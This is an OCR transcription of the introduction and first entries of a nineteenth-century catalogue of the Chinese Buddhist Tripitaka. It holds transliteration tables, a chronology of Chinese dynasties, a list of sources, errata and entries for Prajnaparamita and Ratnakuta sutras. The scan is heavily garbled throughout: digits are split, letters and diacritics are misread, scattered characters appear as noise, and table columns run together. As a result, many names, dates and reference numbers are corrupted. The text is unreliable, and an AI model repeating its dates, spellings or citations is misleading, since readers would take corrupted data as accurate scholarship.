e as in grey.Ai^3Ai. ai as hi aisle.0. . o,o as in long,j)ii3
. o as in note2.duit1 3- Auau as ow in now.ii. ii as in June.tic6 as in knig, a German sound.ofieau like ow in howl, prolonged.laIAla as in piastre, or -ya in yard.talli. A. i.} iai and tao, eah letter sounded. -atoi a a - ^ininin-as ew in f ew.iii ,ii like' ew in chewing, prolonged.ie. ieie as in siesta.i. ii as ea in fealtyio -. ioio as yaw in yawn.ui. uini as ewy in dewy.Ai. ii as ooi in cooing.u- tie as in duet; -it runs intq when a final.tit)ei ei. ei as in height, . or i in sigh.i-ii as eyi. in greyish.eu. ,eueu as ou in souse, shorter than au.u . uu as au in Capernaum.ANOMALOUS SOUNDS.sL'..m 7.', sz', tsz', a peculiar sibilant; the first can be made by changing di int0,1tsz'dizzy to s, and speaking it quickly. -eh' and sh', like the preceding; but softer. They are often uttered,ii. !k'by a person who stutters,. as if in speaking chin . or shin, hesh'. sh'could not get out the n. They have also been compared tothe sound made when chiding a child for making -a noise.- 'rh. . 'ris 'rh, like the word err. Introduction to his Dictionary, pp. xixxxiv. 2 Professor Max Mller's Scheme-for the Transliteration of - Oriental Alphabets. 3 For these four diphthongs, however, the mark of circumflex has been omitted in this Catalogue.CONSONANTS.kkhghn (ng)kkk9gh
thddhntthd-dhP.ph1t6hmYr.1fsshsh^rahtstshw ^fzhhSANSKRIT. CHINESE.kkh
kkh. . th.. .. nPphmY...tstshwfz..z hhzxxINTRODUCTION.WELLS WILLIAMS' SYSTEM AND EXPLANATION.k as in king, kick.k', nearly the same sound, but somewhat softened and aspirated.g as in gate',gh as in spring-head'.ng as in sing.ch as in church.ph', the same sound aspirated.j as in jolly'.jh as in bridge-house I. as in new'.t as in town'.tit as in outhouse'.d as in done'.dh as in rodhook'.n as in no'.t as in top, lot-t`, the same sound aspirated.d as in din'.dh as in landholder'.n as in nun. .p as in pot, lop.p', the same sound aspirated.b as in bed'.bh as in clubhouse'.m as in man, ham.y as in yard a.r as in red'.1 as in lion.v as in live'.a as in sharp'.sh as in shall.s as in sand.h as in hung; as a final it is nearly suppressed,m Anusvra (slight nasal)'.h Visarga (slight breathing)'.ts as in wits.ts`, the same sound aspirated.w as in wind.f as in farm.z as in zone.zh as z in azure. j as in the French jamais.1h` before i and it, a sibilant sound resembling an affected lisp, and. ' -easily confounded . with sh 3 .' professor Max Mller's Scheme for the Transliteration of.Oriental Alphabets.2 `In Peking, some words beginning with y change it into rbefore u and , as rung for Yung, rueh for Ayueh ; butthis is exceptional. ' W. Williams' Dictionary, Introduction, p. xxiv,col. 2. '. The digraph hs, adopted by Meadows and Wade, does notexactly express it, for there is no proper s in the sound, and sh istoo much. If one puts the finger between. the teeth, -and tries tospeak hing or. h, this is said to express nearly this sibilant initial.The Spanish x, as in Q uixote, comes near to it, and would be muchthe best symbol, if it were not that it would be mispronounced bythe common reader, as in Siang _ , xin , &c: W. Williams'Dictionary, Introduction, p. xxiii, col. 2.221. 263220-265,2 2. 2-280265-3 163 02-3 763 17-4203 50-3 9 43 84-4173 85-43 13 9 7-43 9420-479479 -502111 San-Imo, or Three Kingdoms.Shu-hn, or Hn established inShu (Shuh)westernWinorthern(I)(2). ,,(3 ) l
WusouthernSi-tsin, or Western TsinTshien-liii, or Former Lian WTuai-tsin, or Eastern TsinfJ Tshien-tshin, or Former Tshin Heu-tshin, or Latter Tshin' Si-tshin, or Western TshinPe-liai, or Northern LiiiONn-pe-ko, or Southern ;andNorthern Dynasties.(1)Nan-ko, or Southern Dynasties.SuaiearlierTshiDYNASTICTITLE. B. C.i San-hvvli-wu-ti, or theage of the Three and Fire Emperors 2852-2204Hhi, or the Hhi iynatty2205-1766orSham or Yin1766=T122. Keu (Chow or Chw, by others)1122-256221 (or 255)-206 Tshinor ^`^^Tshien or Si-han, orFormer or Western HanzoI (or 208)A. D. 9A. D.25-220or`^+ , Heu or Tull-Ilan, or Latteror Eastern HnPe-wi, or Northern. WiSi-wi, or Western WiTu-wi, or Eastern WiPe-tshi, or Northern TshiINTRODUCTION,CHRONOLOGICAL TABLE OF THE CHINESE DYNASTIES, BOTH SUCCESSIVEAND CONTEMPORANEOUS.NOTEIn this table many less important contemporaneous dynasties are not given, except those under which some translationsof the Tripitaka, were made,A. D.502-557557-589DYNASTICTITLE.Lian.Khan(2) JIPe-ko, or Northern Dynasties.9 07-9 ?39 23 -9 3 69 3 6-9 479 4,7-9 519 51-9 6o".later: 9 60-1127T410. Sui
fft Thi3 86-53 453 5-55753 4-550550-577Pe-keu, or Northern Keu. 557758x589 (or 581)--618618-9 07Wu-ti, or Five Dynasties.(r) Heu-liai, or Latter Lia(z) ?Heu-thai, or Latter Than(3 ) Heu-tsin, or Latter Tsin(4) " * ` Heu-han, or Latter Hn(5) Heu-keu, or Latter Keuauz (Pe) Sun., or (Northern) Sun ^> Nan-salt, or Southern Suai 1127-1280Liao 9 07-11251AMil I03 8-I227 .n Kin I I15-123 4S i-1io, or Western Liao I125-1201jCYtien 1 280 (or I 260)-1 36SVAMin13 68.-1 444Tshin 1644INTRODUCTION .LIST OF ' THE - PRINCIPAL AUTHORITIES CONSULTED IN PREPARINGTHIS CATALOGUEAND THE THREE APPENDICES, AND TOWHICH REFERENCE IS MADE UNDER THEFOLLOWINGABBREVIATIONS.Sali-kwhn. No. 149 0fiat Ko. lair-kwhn,or Memoirs of Eminent Priests, in 14 fasciculi.Compiled byHwui-kio, in 'A. D. 519 , underthe Lin dynasty, A. D. 502-557.Sui-shu. or Annals of the Sui dynasty,A. D. 589 -618. By ^ Khali-sun Wu-ki'(died A. D. 659 ) and others, of the Thri dynasty,. A. D.618-9 07. There is a section on the Buddhist Books,fasciculus 3 5.Suh-sali-kwhn. No. 149 3 M . rJ 1'f Suh-ko-sae-kwhn, or a Continuation of the Memoirs ofEminent Priests, in 4o fasciculi. By(died A. D. 667), of the Thin dynasty.Ni-tien-lu. . No. 1483 * ^T-thri-ni-tien-lu, or a Catalogue of the Buddhist Bookscollected under the great Thin dynasty, in io fasciculi,subdivided into 16. By the same compiler as before,in A. D. 664.Thu-ki. No. 1487 j,'s ,' NI ^ , Ku-kin- kiff-thu-ki, or a Catalogue of the Ancient aridModern Translations, in 4 fasciculi. Byy^ L- Tsiri-mai, in about A. D. 664.Suh-thu-ki. No. 1 488 3 ,; ye. a Continuatin of the pre-ceding work, in i fasciculus. By IN
K'-shari, inA. D. 73 0.Khi-8 uen-lu. No. 1iii-y45^F^j^ Kb-'yuen-shih-kio-lu, or a Catalogue of the Buddhist Bookscollected in the Khi-yuen period, A. D. 713 -741, iri 20fasciculi, subdivided into 3 o. By the same compiler inthe, same year as before. ,Suffi-sari-kwhn. --No. 149 5 * A f f-. 4Suri-ko-saffi-kwhn, or Memoirs of Eminent Priests, com-piled- under the later or' Northern Sufi dynasty, A. D.9 60-1127, in 3 o fasciculi. By . Tsin-nin, inA. D. 9 88.Min-i-tsi. No. 1640; + ` Fan-i-i-tsi, or a Collection of he Meanings Of theSanskrit Names translated into Chinese, in 20 fasciculi.By 'Y ; "F-yun, i A. D. 1151, under the Southernsuri dynasty, A. D. I I27-1280.7`hun-ki. No. 66i di Ag Fo-tsu-thun-ki,or Records of the Lineage of Buddha and. the Patriarchs,in 45 fasciculi, subdivided into 55. This is a historyof Buddhism. Byii K'-phn, in about A. D. Au1269 -. 1271.K'-yuen-lu. No. i612 K'-yuen-fi-po-kien-thun-tsun-lu, or a Com-parative Catalogue , of the Dharmaratna or the BuddhistBooks collected in the K'- yuen period, A. D. 1264-129 4,in Io fasciculi. By j Kin-ki-sin and other,in A. D. 1285-1287, under the Yuen dynasty, A. D. 128o-r3 68.Tian-mn. No. 1611w 'oTi-tsn-shan-kio-pio-mu, or a Catalogue of theDharmaratna, being the. Holy Teaching of the GreatRepository or the Tripitaka, in Jo fasciculi. ByWan - ku, of the later (or Northern) orSouthern Suri dynasty, A. D. 9 60- 1280; 'and continued. by 11. Kwn-ku-pi, in about A. D. 13 06.Thuri-tsi. No. 163 7
jiff jFo-tsu-li-tai-thun-tsi, or a Complete statement con-cerning Buddha and the Patriarchs in all ages, in 3 6fasciculi. . By , ^ Nien-khri, in A. D. 13 3 3 or 13 44.Ta-min- sn-tsn-shah-kio mu-luNo. 1662. ACatalogue of the ChineseBuddhist Tripitaka, collected' under the Min dynasty,A. D. 13 68-1'644. '4 fasciculi. This is ,the originalCatalogue of the Collection in the India Office Library,'on which my own Catalogue is based. The classificationand order of the 1662 works contained in it are thereforeunaltered ; while the index-characters, taken from theTshien-tsz'-wan, or Thousand-character-composition; are omitted. Ejj Afff
T-mili-koLsan-kwhn, or Memoirs,of Eminent Priests, Corn-, piled under the great Min dyna ^ ty, A. D. 13 68-1644,in 8 fasciculi. Bytri 4 Zu-sin, ill A. D. 1617.'Yueh-tsn-k'-tsin, orGuide for th Examination of the Canon, in 48 fasciculi.By . K'-six in A. D. 1654, under the presentTshin dynasty, which began in A. D. 1644. For thiswrk, see also pp. x, xxvi.A. R. Asiatic Researches, vol. 'xx, Arts. II and XI,i, e. Analysis of' the Kai wur, on pp. 41-9 3 and 3 9 3 --585. By Mr. Alexander Csoma Krsi. Calcutta, 183 6.Cohc. Concordance Sinico-Sanskrite d'un nombreconsidrable de Titres d'ouvrages Bouddhiques, recueillieTo-senINTRODUCTION.xxxiiidans un Catalogue Chinois de l'an 13 06 [read 1285-1287] et publie, aprs le dchiffrement et la restitu-tion des mots indiens, par M. Stanislas Julien. Inthe Journal Asiatique, Novembre Decembre, 1849 ,PP. 3 53 -445. The figures after ' Conc. ' in the presentCatalogue refer to the order of the titles in Julien's list.Wassiljew. ---Der Buddhismus, seine Dogmen, Ge-schichte und Literatur, von W. Wassiljew. St. Peters-burg, 186o. The figures after this author's name inthe Catalogue refer to the pages of the Russian Ori-ginal, as printed in the margin of the German trans-lation. In the early pages of the Cataloge,'the letterp. ' should be supplied before, the figures.Eitel. Handbook for 'the Student of ChineseBuddhism, by Rev. E. J. Eitel. London, 187o.Beal, Catena. - -- ACatena of Buddhist Scripturesfrom Chinese. By Rev. S. Beal. London, 187i.Beal, Catalogue. The Buddhist Tripitaka, as it isknown in China and Japan. ACatalogue and Com-pendiris Report. By the saine author. 1876. This isthe Catalogue of the Chinese Buddhist Tripitaka in theIndia Office Library, together with an interesting anduseful Report , on ' this -Collection. This Catalogue isthe principal guide of the present compilation.Beal, B. L. C. Abstract of FourLectures on BddhistLiterature in China, delivered at University College,London. By the same author. London, 1882.Mayers. The Chinese Reader's Manual. AHand-book of Biographical, Historical, Mythological, andGeneral Literary Reference. By W. F. Mayers.Shanghai, 1874.Edkins. Chinese-Buddhism. AVolume of Sketches,Historical, Descriptive, and Critical. By Rev. J. Edkins.London, 1880.Selected Essays. No. xix. On Sanskrit Texts dis-covered in Japan, in Selected Essays on Language,Mythology, and Religion, vol. ii, pp. 3 13 -3 71. ByProfessor Max Mller. London, 1881.Catalogue of the Hodgson Manuscripts. Catalogueof Sanskrit Manuscripts, collected in Nepal, and pre-sented to various Libraries and Learned Societies, byB. H. Hodgson, Esq. Compiled by Dr. W. W. Hunter.Trbner & Co. , 1881.A. M. G. Annales du Muse Guimet, vol. ii, pp. 13 1-577. Lyon, 188r. Analyse du Kandjour, traduitede l'Anglais et augmente de diverses additions etremarques, par M. Lon Feer.J. R. A. S. The Journal of the Royal Asiatic Societyof Great Britain and Ireland. London.J. A. S. B. The Journal of the Asiatic Society ofBengal.S. B. E. -The Sacred Books of the East, translatedby various Oriental Scholars, and edited by F. MaxMller. Oxford, 1879 -1883 .ABBREVIATIONS IN THE APPENDICES.S. M. Stras of the Mahayana.S. H. Stras of the Hinayana.V. M. --=Vinaya of the Mahayana.V. H. Vinaya of the Hinayana.A. M. Abhidharma of the Mahayana.A. H. Abhidharma of the Hinayana.I. M. Indian Miscellaneous Works.C. M. Chinese Miscellaneous Works.Cat. Bodl. Japan. ACatalogue' of Japanese and Chinese Books and Manuscripts, lately added to theBodleian Library. Prepared by Bunyiu Nanjio. Oxford, 1881.3 33 43 53 63 73 83 940424344 .ADDITIONS AND CORRECTIONS.3 I42-5col.2526Linefor ' A. D. 659 ' read ' A. D. 660-663 'for 'Nei Lien-lu, fasc. 5, fol. 19 ' readKhi-yuen-lu, fasc. 8 a,- fol. . 12 a'
note 3
( 1 7)7
( 1 9 )71 5(23 )9 .16(29 )517(3 2)818(3 8)8(3 9 )20(47)
24421286223 06
3 173 25
3 3 56
3 75
38.42441 7429
4422 5. 455
467
47'5No.4851525355596o,for' Prabhmitra' 'read' Prabhkaramitra'109 01116II28113 7.11453115111541156ADDITIONS AND CORRECTIONS. xxxv. 29 6.29 1283286289,23 623 723 82742812702722552562602612682692522532542412472549 1204206221,Col.224Col. No. Line44 13 46 add ' A. D. 406! after ' Kumragiva'13 54 add A. D. 4271 after 'K'-yen'4513 85 add ' A. D. 286 after 'Dharmaraksha'471405add ' A. D. 650 after ' Hiouen-thsang'1415 add A. D. 616' after ' Dharmagupta'1444add ` A. D. 251' after ' San-hwui'48149 5add. ' A. D. 650 after ' Hiouen-thsang'1503 , 5 for ' Avaivarttya' read ' Avaivartya'7add ' A. D. 284' after ' Dharmaraksha'50158i for '14 read ` f571875 for ' Gnagupta (the same person asbefore), under' read. 'Gnayasas, of'6o203 4 for ' Zih-hhiu' read ' Zih-hhiu'7 2 272 5 add the following note : 'It has beentranslated into English by Mr. Beal,in his "Buddhist Literature in China,"pp. 172-178'273 '6add the following note : ' Cf. Beal,B. L. C. , pp. 174-176'8 3 3 for 'K1nta' read 'Ifint'3 24847 3 27
4884 for 'Sui dynasty, A. D. 618-9 07' read3 47' Northern Keu dynasty, A. D. 557-581'9 13 63 4for ' -ti-kha-to' read ` -ti-kh-to'3 65 4 for ' Buddhasnta, of the Northern Widynasty, A. D. 3 86-53 4' read ' Than-wu - Ida (Dharmaraksha ?), of theEastern Tsin dynasty, A. D. 3 17=420'9 73 9 57 for ' Dharmakra' read Dharmavikrama'9 83 9 9 4,12 for ' S rgama' read ' Setragama'1 1for ' Sara (hero)-aga(limb)' read ' &I-ran (heroism)-gama (approaching)'4014add ' (sangati?)' after ' sagiti'4022 for ' Khan' read 'Khan'103 4256for ' paridhara' read ' paridhra'10543 6' 7for ' F-sh'. read ' F-shah'1074466,12 for'srdngama' read'sragama'7 for ' Mikaskya' read ' Meghasiklia'449 6 for 'Northern' read ',Eastern'7for ' A. D. 3 86-53 4read ' A. D. 53 4-550'fro4645for ' Bodhidipa' read ' Bodlli-tail'11549 64 for ' Gnolka' read ' Gdnolk'1215265 for ' Bhavasakramita' read ' Bhavasa-kr0,mita'1 3 3 543 6 for' Dharmanandi' read ' Dharmanandin'1 455844for ' Eastern Tsin' read ' earlier Sun'5 for ' A. D. 3 17-420 read ' A. D. 420-4791 4659 43 . for ' Rdshtrapola' read ' Rdshtravara'1 4759 5 "4 for ' Fd-hu (Dharmaraksha)'read' F-tu'16669 69 for Srdmanas' read ' Sramanas'169 7114 for ' Khdn-yuen' read Khan-yuen'1 73 73 44 for parivragaka' read ' parivrgaka'1878o84 for. ' Srmanera' read ' Srmanera'189 8202for ' pal' read ' pal'19 183 56 add ' dur' between ' larva and gati'19 28407for ' Sagara' read ' Sdgara'19 6859 8for ' Pszepa' read ' Pd-sz'-pd, or Bashpa'19 9 8723 for' dhyya' read ' dhyna'2049 03 3 for ' adhimukta' read ' adhimukti',No. . Line9 4
ar ' a. D,addhis disciplefte6Kwan-till'589 -618'3 79
I53 80 25for ' Hhien-kwei ' read ' Hhien-hwui'3 81 36for A. D. 9 3 6-9 46 read ' A. D. 9 3 6-9 47' 45for 'Shan' read ''Shan3 83 5, 7, 85for 'A. D. 603 ' readA. D. 602' 3 84 9 ,108add ' (or 8521)', before 'fasciculi'II9 IIfor' of which . . fasciculi' read 'with I2ACATALOGUE OFCHINESE BUDDffiST TRIPITgA.Ta--ts- ^ ha- kiao - mu -iu.ARECORD OF THE TITLES OF THE ' SACRED TEACHINGOF THE THREE REPOSITORIES(TRIPITAKA, OR THREE ASKETS, COLLECTED) UNDER THE GREAT MIN DYNASTY,A. D. 13 68-1644'FIRST DIVISION.Kin-tsars, or Sara-pitaka.PART I.11-sha-kii^or the Stras of the Mahayana.shy .^ YCLASS I.Pan-zo-pu, or Pragapramit class.1Ta-pan-zo-po-lo-mi-to-kin.Mahpragnapramita-s{tra 1.Seethe K'-yuen-lu,fasc. 1, fol. i i a; Conc. 63 8. Trans-lated by Hhen-kw (Hioue-thsang), A. D. 659 , of the'Th dynasty; A. D. 618-9 07. (For the former date,see the Ni- tien-lu, fasc. 5 b, fol. 19 . ) It consists of 600fasciculi ; 200,000 slokas in verse, or an equivalentnumber of syllables in prose. This is a collectionof sixteen Stras, short and long. To each of them apreface is added by a Chinese priest, named Hhen-ts, a contemporary of the translator. The followingis a summary of the contents :1 Whenever the meaning of the Chinese title is not quitethe same as that of the Sanskrit title, it has been translated intoEnglish.FASC. FASC. CHAP. PLACEOF THESCENE.(a)400 ( I-400), 79 ,1(b) 78 (401-47 8), 85,(c) 59 (479 53 7),' 3 1, GFridhrakta.(d) 18 (53 8-555), '29 ,(e) io' (556-560, 24,(f) 8 (566-573 ), 17,(g)2 '(574-575),(h) i(i) i(. 1)1(k)5 (579 -583 ),(1)5 (584-518),(m) . 1 (
589 (n)1 (59 0),(o) 2 (59 1-59 2),(p)8 (59 3 -600),(576),( 577),( 578),Sravastf.JAbode of the Paranir-mita - vasavartins.Srvasti,Gridhrakta.Venuvana.^3 . STRA-PITAKA. 4In the K'- yuen-lu (No. 1612), catalogue of theChinese Tripitaka (compiled A. D. 128. 5-1287, faso. 1,fol. libr4 a), these sixteen Stras (as all the rest) arecompared with the Tibetan translations' (Kangur andTangur I), and the following result is stated :(a) Agrees with the Tibetan Pragpramit inioo,000 slokas in verse, or an equivalent number. ofsyllables in prose (Satasahasrika pragpramit, 75chapters, 3 03 bam-po, or artificial divisions). For theSanskrit text, see Catalogue 'of the Hodgson Manu-scripts, I. 63 ; VII. 52.(b) Agrees with the Tibetan Pragpramit in25,000 slokas (Pakavimsati-sahasrik pragpramit,76 chapters, 78 bam--po). For the Sanskrit text, seeCatalogue of the Hodgson Manuscripts, III. 2; V. 5.(c) Agrees with the Tibetan Pragpramit i1 1 .x8,000 slokas (Ashtdasa-sahasrika pragprau iti,87 chapters, 5o bam-po).(d) Agrees with the Tibetan Pragpramita in 8000slokas (Ashtasahasrik pragpramit. But it is reallythe Dasasahasrik pragpramit, 3 3 chapters, '24bam-po. Cf. No: 7 below).(e) Agrees with the Tibetan Pragpramit in'8000slokas (Ashtasahasrik pragpramit, 3 2 chapters, 24bam-po). For the Sanskrit text, see Catalogue of theHodgson Manuscripts, I. i ; III. I r ; IV. 4,5 ; VII. 54.Complete in 3 2 chapters.(f) Deest in Tibetan. According to the contents,this is the Suvikrntavikrami- pariprikkh.(g) Agrees with the Tibetan Pragpramit, in looslokas (Saptasatik).(h) Deest in Tibetan. The Chinese title 18 a trans-literation of ` Ngasrl. ' Pakasatika I(i) Agrees with the Tibetan Pragpramit, in Sooslokas. This is the Vagrak1chedik pragpramit.The Sanskrit text has been published by ProfessorMax Mller in 'the Anecdota Oxoniensia, Aryan Series,'vol. i, part 1, Oxford,,18 81.(j) Agrees with the Tibetan Pragpramit, in 150slokas (Pragpramit ardhasatik).(ko) Agrees with the Tibetan Pragpramit, inI Boo slokas.1 In the I'-Yuen-lu, these Tibetan translations are called 4t. Fan-pan, or the Books of Si-fn, ' WesternFn,' i, e. Thu-fan, more properly ? Thu-ft =fah, which name was assumed for his newly-established kingdom by. . i Lun-tsn-su, in the Khi-hw period, A. D. 581-Coo, of the Sui dynasty, which dynasty however did not becomethe sole ruler of China till A. D. 589 . See the1t^Si-tstil-kwo-kho, in the Tshi-li, fasc. I, fol. 26 a seq.See also the ' Early History of Tibet, by Dr. Bushell, in the Journalof the Royal Asiatic Society, 1880, p, 43 5 seq.(p) Agrees with the Tibetan Pragpramit, in 1200slokas.The Sanskrit titles and the Tibetan accounts aregiven in the Index to the. Kangur, published by CsomaKrsi in the Asiatic Researches, vol. xx (183 6), pp.3 9 3 -3 9 7; and by L. Peer in the Annals du MuseGuimet, vol. ii (1881), pp. 19 9 -203 . For the contentsof the whole Pragpramit class, see these authorities :the former, pp. 3 9 7-400 ; the latter, pp. 203 -208. Seealso Wassiljew's Buddhismus, 145 ; Beal's Catena of theBuddhist Scriptures from the Chinese, pp. 275-280.Two Imperial' prefaces to the Tripitaka are added atthe beginning of this collection (No. I), in both of whichthe labours of Hhen-kwri (Hiouen-thsang) are de-scribed by eye-witnesses, namely : T. That by theEmperor Thi-tsui, A. D. 627-649 , of the Thdynasty. 2. That by the Emperor Ko-tsu, A. D;650-683 , while he was the heir-apparent.2^.F-kw-pn-zo-po-lo-mi-kin.Pragpramit-stra (with'the first chapter on) emitting light. 'Pakayimsati-sahasrik pragpramit.Translated by Wu-lo-kh (or Mokshala, of Khoten),together with Ku Shu-ln, A. D. 29 1, of the WesternTsin dynasty, A. D. 265-3 16, (Ng - tien-lu, fasc. 2,fol. 3 1 b. ) 3 o fasciculi ; 9 0 chapters.Mo-h i-pn-zo-po-lo-mi-kin,' Mahpragilpramit-sutra. 'Pakavimsati-sahasrik pragpramit.Translated by Kumragtva, together with a Chinesepriest, Sa-zui, of the Latter Tshin dynasty, A. D. 3 84-417. 3 0 fasciculi ; 9 0 chapters.s,,.
=. ASSKw-tsn pn-zo-po-lo-mi-kin.Pragapramit-stra (with the first chapter on) the praiseof light. 'Parikavimsati-sahasrik pragpramit.Translated by Ku Fi-hu (Dharmaraksha, of theYueh-k'), of the Western Trfia dynasty, A. n. 265-3 16.Ito fasciculi ; 21 chapters.The above three works are earlier translations of thesecond Sara (b) of No. 1; but No. 4 is incomplete.(Preface' to No. 1, fasc. 401; I^'-yuen-I, fasc. a, fol. 14 b. )To-hhi-pn-zo-po=lo-mi-kin.'Pragfpramit-sutra (with the first chapter on) the practice of.the way. 'Dasasahasrik pragpramit.5 STRA-PITAKA. fiTranslated by K' Leu-kia-khan (Lokaraksha 4), ofthe Eastern Hn dynasty, A. D. 25-220. to fasciculi ;3 o chapters.Sio-phin-pn-zo-po-lo-mi-kin.' Prag pramit-sfltra of a small class.'Dasasahasrik pragpramit.Translated by Kumaragfva, A. D. 408, of the. LatterTshin dynasty, A. D. 3 84-417. (Preface to this version,by San-zui. ) t o fasciculi ; 29 chapters. 7 g Ft gMo-h-pn-zo-po-lo-mi-kho-kin.'An extract from the Mahpragp,ramit-sfltra.'Dasasahasrik pragpramit. .Conc. 3 65. Translated by Dharmapriya, Togetherwith. Ku Fo-nien and others, A. D. 3 82, of the FormerTshin dynasty, A. D. 3 50-3 9 4. (Ni-tien-lu, fase. 3 b,fol. 3 a. ) 5 fasciculi ; 13 chapters.8T-min- tu-wu-ki-ki.sfltra of unlimited great-bright-crossing (or Mahpragpramit):Dasasahasrik pragpramit.Translated by K' Khien, of the Wu dynasty, A. D.2 2 2-2 80. 6 fasciculi ; 3 0 chapters.The above four works are earlier translations ofthe fourth Stra (d) of No. t ; but No. 7 is incomplete.(Preface to No. I, fase. 53 8 ; K'-yuen-lu, fasc. I, fol. 1 4 b. )9 X;;Ifil g a V41Shan-thien-wan-pn-zo- po-lo-mi-ki.' Pragparamit-s{itra, (spoken to) a heavenly king calledConquering.'Suvikrntavikrami-pariprikkh.Translated by Upasnya, A. D. 565, of the Khandynasty, A. D. 557-589 . (Nd-tien-1 u, fasc. 5 a, fol. 12. )7 fasciculi ; i6 chapters, This is an earlier translationof the sixth Stra (f) of No. 1. (Preface to No. 1,fasc. 566 ; K'-yuen-lu, fasc. I, fol. 1 5 a. )101 41 1 -gKin-kin-pn-zo-po-lo-mi-kin.' Diamond-pragpramit-sfltra.'Vagrak/chedik pragpramit.Cone, 287. The Sanskrit text edited by ProfessorMax Mller in Auecdota Oxoniensia, Aryan Series,vol. i, part 1. Translated by Kutnaragiva, of the LatterTshin dynasty, A. D. 3 84-417. 14 leaves. There is anImperial preface to this version, by, the Emperor Khan-tau, of the , Min dynasty, dated the ninth yeaia of theYun-l period, A. D. 1411. An English translation byBeal in the Journal of the Royal Asiatic Society,1864-5,, Art. I.11 The same as No. lo.Conc. 287. Translated by Bodhiruki, of the NorthernWi dynasty, A. D. 3 86-53 4. 12 chapters ; 17 leaves.12 The same as No. io,Cone. 287. Translated by Paramrtha, A. D. 562, Q fthe Khan dynasty, A. D. 557-589 . (Note at the end ofthis version. ) 17 leaves.^, 1,3^^r 1)12 g d g'gNan-twn^kin-kn-pn -zo`- po--lo-mi-kin. well-cutting-diamond-pragaparamitstl'tra.'Vurakkhedik pragOp. ramit.Translated b(Hioun-thsang); of theThan 'dynasty, A. D. 618-9 07. 21 leaves,14 The same as No. 13 ,Translated by I-tsiri, of 'the Than dynasty, A. D.618-9 07. 14 leaves.15 St ^ l' . J'' ^. ,Kin=k11-nan-twAn-pi n-zo-po-lo-mi- kin,'Diamond-well-cutting-pragpramit-sfltra.'Vagrakkhedik pragpramit.Translated by Dharmagupta, of the Sui dynasty,A. D. 589 -618. 1 9 leaves. This translation is so literaland mot-a-mot as to, be unintelligible to a Chinesewithout the Sanskrit text. There is a remarkableexample, which puzzles the Chinese very much (as I havewitnessed myself), namely, Srdham ardha-trayodasabhirBhikshu-satais is translated by Dharmagupta literallyinto '1'' Kun-pn-san-shi-pi-khiu-poh, ` together with-half three-ten-Bhikshu-hundred,' instead of rendering it as usual by- O. Tshien-'rh-poh-wu-siti-zan-k,thousand-twoHundred-five-ten-person-together with,'i. e. ' together with twelve hundred and fifty persons(or Bhikshus). ' No Chinese reader could understandwhy ' half-three-ten-hundred' should be translated into`twelve hundred and fifty,' unless he knew the Sanskrittext, which mans ' thirteen hundred minus a half(hundred),' i. e. 12501 . Acomparison of Dharmagupta's1 As to the origin of the number Isso of Bhikshus, the follow-ing explanation by a Chinese priest named Luis-hhifi is quoted in a.commentary on the ' Amityur-dhyna-sfltra' (fast. 2, fol. 24a) :'According to the Dharmagupta-vinaya (No. Ii Ip), this numberconsists of goo disciples of ruvilva-kdayapa, Boo of Gayd-k syapa,boo of Nadi-ksyapa,150 of Sriputra, and loo of Maudgalyyana.But these five teachers themselves, as well as the five Bhadra-vargtyas, ought also to be added to this ntimber of Bhikshus,'B 27StTRA-PITAKA.8literal translation with the Sanskrit original helps inmany places to make the , Chinese translation intel-ligible, and enables us to correct the mistakes of theChinese translator.The above six works are earlier and liter translationsof the ninth Stra' (i) of No. t. No. 1 3 is merely aseparate copy of the version given in No. t. (Pre-face to No, t, fasc. 577 ; K'-yuen-lu, fase, 1, fol. 16 b. )No. 't o is comparatively short, it being a well-knowncharacter of this translator (Kumragtva), that he seldommade a full translation, but preferred to give an abstractof the original. Nos. I 1-14 are more or less full,when they are compared with the text, though "No. 14is also short. All these six translations of the Vagra-kkhedika seem to have been made from a very similartext, if not from the same.Vo- shwo-rs
I1^9 StTRA PITAKA.1 0CLASS II.Po-tsi-pu, L e. Ratnaldita Class.23 *WagT-po-tai-lcin.Mahratnakta-stra.K'-yuen-lu, fasc. 1, fol. 20 a; Conc. 642. Cf. A. R. ,p. 406 ; A. M. G. , p. 212 ; Wassiljew, 154: Trans-lated by Bodhiruki, A. D. 713 , of the VIMdynasty,A. D. 618-9 o7; and by his predecessors and contem-poraries, A. D. 265-713 . 120 fast. This is a collectionof forty-nine Stras, arranged by Bodhiruki, who hadhimself translated twenty-five of them.There are two prefaces to this collection, namely :1. That by the Emperor Zui-tsu, A. D. 684, 710-712,who then retired from the throne, and who gives ashort account concerning the life of Bodhiruki. 2. Thatby an official, SUNo, a contemporary of Bodhiruki.The following. is a List of the forty-nine Stras :--(I)San-lh-i-hwui.'That (spoken at) an assembly on the three moral precepts. 'Trisambara-nirdesa.K'-yuen-lu, fasc. 1, fol. 20 b ; Conc. 507; A. R. ,p. 407; A. M. G. , p. 213 1 . Translated by Bodhiruki,of the Th dynasty, A. D. 618-9 07. 3 fasciculi (fasc.I-3 of No. 23 ).* ^ NWu-pien-kw-yerr-hwui.' That (spoken at) an assembly on (the request of the Bodhisattva)AnantavyUha (i). 'Anantamukha -vinisodhana-nirdesa.E'-yuen -lu, fasc. 1, fol. 20 b; Cone. 842 ; A. R.p. 407; A. M. G. , p. 214. Translated by . Bodhiruki, ofthe ThUn dynasty, A. D. 618-9 07. 4 fasciculi (fasc. 4-7).(3)17-11Mi-tai-kin-kft-li-k'- hwui.' That (spoken at) an assembly on (the request of) the wrestlerGuhyapada (b or Guhyapati) Vagr. 'Tathgatkintya-ghhya-nirde1 These last two authorities give a full Sanskrit title, viz. Arya-mahfratiiakata-dharmaparyaya-satasahasrika-granthe Trisambara-nirdeaa-parivar aama mahyna-sfltram. Csoma adds the follow-ing. note, which i shall follow hereafter in this Catalogue : ' Tomake short the titles, in the beginning the word " rya," meaning" the venerable," as also at the end, " Nma mabyna-sAtram,"will be omitted, and only that will be mentioned which necessarilybelongs to the titles,'K'-yuen -lu, fasc. z, fol. 21 a ; Conc. 3 51 ; A. R. ,P. 408 ; A. M. G. , p. 3 14. Translated. by Ku Fzi-hu(Dharmaraksha), of the Western Tsin. dynasty, A. D.265 3 16. 7 fasciculi (fasc. 8 -14).(4) it JR `Tsl-k-thien-tsz'- hwui.That (spoken at) an assembly on (the request of) a Devaputraof the pure abode (Suddhavsa ?). '(Vini)sodhana-nirdesa.K'-yuen-lu, fare. 1, fol. 21 a; Conc. 763 .Svapna-nirdosa.A. R. , p. 408; A. M. G. , p. 21 4 ; Conc. 763 .Translated by Ku Fit-hu (Dharmaraksha), of the Tsindynasty, A. D. 265-3 1 6. 2 fasciculi (fasc. i r, 16).(5)Wu-lifi-sheu-zu-li-hwi.That 